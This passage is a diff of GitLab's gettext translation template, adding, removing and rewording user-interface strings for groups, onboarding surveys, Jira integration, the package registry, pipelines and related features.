msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
